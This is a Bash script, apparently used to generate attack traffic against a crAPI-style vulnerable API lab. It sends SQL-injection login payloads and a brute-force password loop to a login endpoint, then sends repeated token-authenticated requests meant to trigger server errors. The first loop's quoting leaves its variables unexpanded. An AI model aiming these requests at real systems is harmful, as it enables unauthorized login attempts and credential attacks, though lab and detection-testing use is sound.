You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

attack_traffic.sh 5.7KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169
  1. #!/bin/bash
  2. #Prompt the user to enter the value of HOSTNAME
  3. read -p "Enter the HOSTNAME: " HOSTNAME
  4. # Define the email addresses
  5. EMAILS=(
  6. 'apilab@akamai.com'
  7. 'apilab2@akamai.com'
  8. 'apilab3@akamai.com'
  9. 'apilab4@akamai.com'
  10. )
  11. # Define the list of passwords
  12. PASSWORDS=(
  13. '-'
  14. ' '
  15. '&'
  16. '^'
  17. '*'
  18. ' or ''-'
  19. ' or '' '
  20. ' or ''&'
  21. ' or ''^'
  22. ' or ''*'
  23. "-"
  24. " "
  25. "&"
  26. "^"
  27. "*"
  28. " or ""-"
  29. " or "" "
  30. " or ""&"
  31. " or ""^"
  32. " or ""*"
  33. 'or true--'
  34. "or true--"
  35. 'or true--'
  36. ') or true--'
  37. "') or true--"
  38. "') or true--"
  39. )
  40. # Define the common password
  41. COMMON_PASSWORD='cRaPi2023!!!'
  42. echo "GENERATING REQUESTS FOR LOGIN ENDPOINT WITH SQL PAYLOAD"
  43. for email in "${EMAILS[@]}"; do
  44. for password in "${PASSWORDS[@]}"; do
  45. curl 'http://$HOSTNAME/identity/api/auth/login' \
  46. -H 'Accept: */*' \
  47. -H 'Accept-Language: en-CA,en-GB;q=0.9,en-US;q=0.8,en;q=0.7,de;q=0.6' \
  48. -H 'Cache-Control: no-cache' \
  49. -H 'Connection: keep-alive' \
  50. -H 'Content-Type: application/json' \
  51. -H 'DNT: 1' \
  52. -H 'Origin: http://$HOSTNAME' \
  53. -H 'Pragma: no-cache' \
  54. -H 'Referer: http://$HOSTNAME/login' \
  55. -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36' \
  56. --data-raw $'{"email":"$email","password":"$password"}' \
  57. --compressed \
  58. --insecure \
  59. -o /dev/null > /dev/null 2>&1
  60. done
  61. done
  62. echo "----------------COMPLETE---------------------------------"
  63. echo "GENERATING REQUESTS FOR LOGIN ENDPOINT TO TRY DIFFERENT PASSWORDS FOR BRUTE FORCE AUTHENTICATION"
  64. # Define the password range
  65. for ((i=1; i<=50; i++)); do
  66. PASSWORD="pass$i"
  67. for email in "${EMAILS[@]}"; do
  68. curl "http://$HOSTNAME/identity/api/auth/login" \
  69. -H "Accept: */*" \
  70. -H "Accept-Language: en-CA,en-GB;q=0.9,en-US;q=0.8,en;q=0.7,de;q=0.6" \
  71. -H "Cache-Control: no-cache" \
  72. -H "Connection: keep-alive" \
  73. -H "Content-Type: application/json" \
  74. -H "DNT: 1" \
  75. -H "Origin: http://$HOSTNAME" \
  76. -H "Pragma: no-cache" \
  77. -H "Referer: http://$HOSTNAME/login" \
  78. -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36" \
  79. --data-raw "{\"email\":\"$email\",\"password\":\"$PASSWORD\"}" \
  80. --compressed \
  81. --insecure | jq -j
  82. done
  83. done
  84. echo "----------------COMPLETE---------------------------------"
  85. # Function to obtain access token for a given email and password
  86. get_access_token() {
  87. local email=$1
  88. local password=$2
  89. # Use curl to get the access token and jq to extract it
  90. local access_token=$(curl "http://$HOSTNAME/identity/api/auth/login" \
  91. -H 'Content-Type: application/json' \
  92. --data-raw '{"email":"'"$email"'","password":"'"$password"'"}' \
  93. --insecure -s | jq -j .token)
  94. echo "$access_token"
  95. }
  96. # Define the common password
  97. COMMON_PASSWORD='cRaPi2023!!!'
  98. # Define the email addresses
  99. emails=(
  100. 'apilab@akamai.com'
  101. 'apilab2@akamai.com'
  102. 'apilab3@akamai.com'
  103. 'apilab4@akamai.com'
  104. )
  105. echo "GENERATIC REQUESTS FOR CONTACT MECHANIIC ENDPOINT FOR 5XX SERVER ERRORS"
  106. for ((x=1; x<=20; x++)); do
  107. for ((i=0; i<${#emails[@]}; i++)); do
  108. # Generate access token
  109. ACCESS_TOKEN=$(get_access_token "${emails[i]}" "$COMMON_PASSWORD")
  110. # Define VINs
  111. VINS=("8WNFQ29UASO325881" "2QJHA06QPTA452548" "9MZWD50MITK534430" "2QBSC54ZIHY224823")
  112. VIN=${VINS[i]}
  113. # Execute first curl command
  114. curl "http://$HOSTNAME/workshop/api/merchant/contact_mechanic" \
  115. -H "Accept: */*" \
  116. -H "Accept-Language: en-CA,en-GB;q=0.9,en-US;q=0.8,en;q=0.7,de;q=0.6" \
  117. -H "Authorization: Bearer $ACCESS_TOKEN" \
  118. -H "Cache-Control: no-cache" \
  119. -H "Connection: keep-alive" \
  120. -H "Content-Type: application/json" \
  121. -H "DNT: 1" \
  122. -H "Origin: http://$HOSTNAME" \
  123. -H "Pragma: no-cache" \
  124. -H "Referer: http://$HOSTNAME/contact-mechanic?VIN=$VIN" \
  125. -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36" \
  126. --data-raw "{\"mechanic_code\":\"T567\",\"problem_details\":\"123\",\"vin\":\"$VIN\",\"mechanic_api\":\"http://$HOSTNAME/workshop/api/mechanic/receive_report\",\"repeat_request_if_failed\":false,\"number_of_repeats\":1}" \
  127. --compressed \
  128. --insecure \
  129. -o /dev/null > /dev/null 2>&1
  130. # Execute second curl command
  131. curl "http://$HOSTNAME/workshop/api/merchant/contact_mechanic" \
  132. -H "Accept: */*" \
  133. -H "Accept-Language: en-CA,en-GB;q=0.9,en-US;q=0.8,en;q=0.7,de;q=0.6" \
  134. -H "Authorization: Bearer $ACCESS_TOKEN" \
  135. -H "Cache-Control: no-cache" \
  136. -H "Connection: keep-alive" \
  137. -H "Content-Type: application/json" \
  138. -H "DNT: 1" \
  139. -H "Origin: http://$HOSTNAME" \
  140. -H "Pragma: no-cache" \
  141. -H "Referer: http://$HOSTNAME/contact-mechanic?VIN=$VIN" \
  142. -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36" \
  143. --data-raw "{\"mechanic_code\":\"123\",\"problem_details\":\"123\",\"vin\":\"$VIN\",\"mechanic_api\":\"http://$HOSTNAME/workshop/api/mechanic/receive_report\",\"repeat_request_if_failed\":false,\"number_of_repeats\":1}" \
  144. --compressed \
  145. --insecure \
  146. -o /dev/null > /dev/null 2>&1
  147. done
  148. done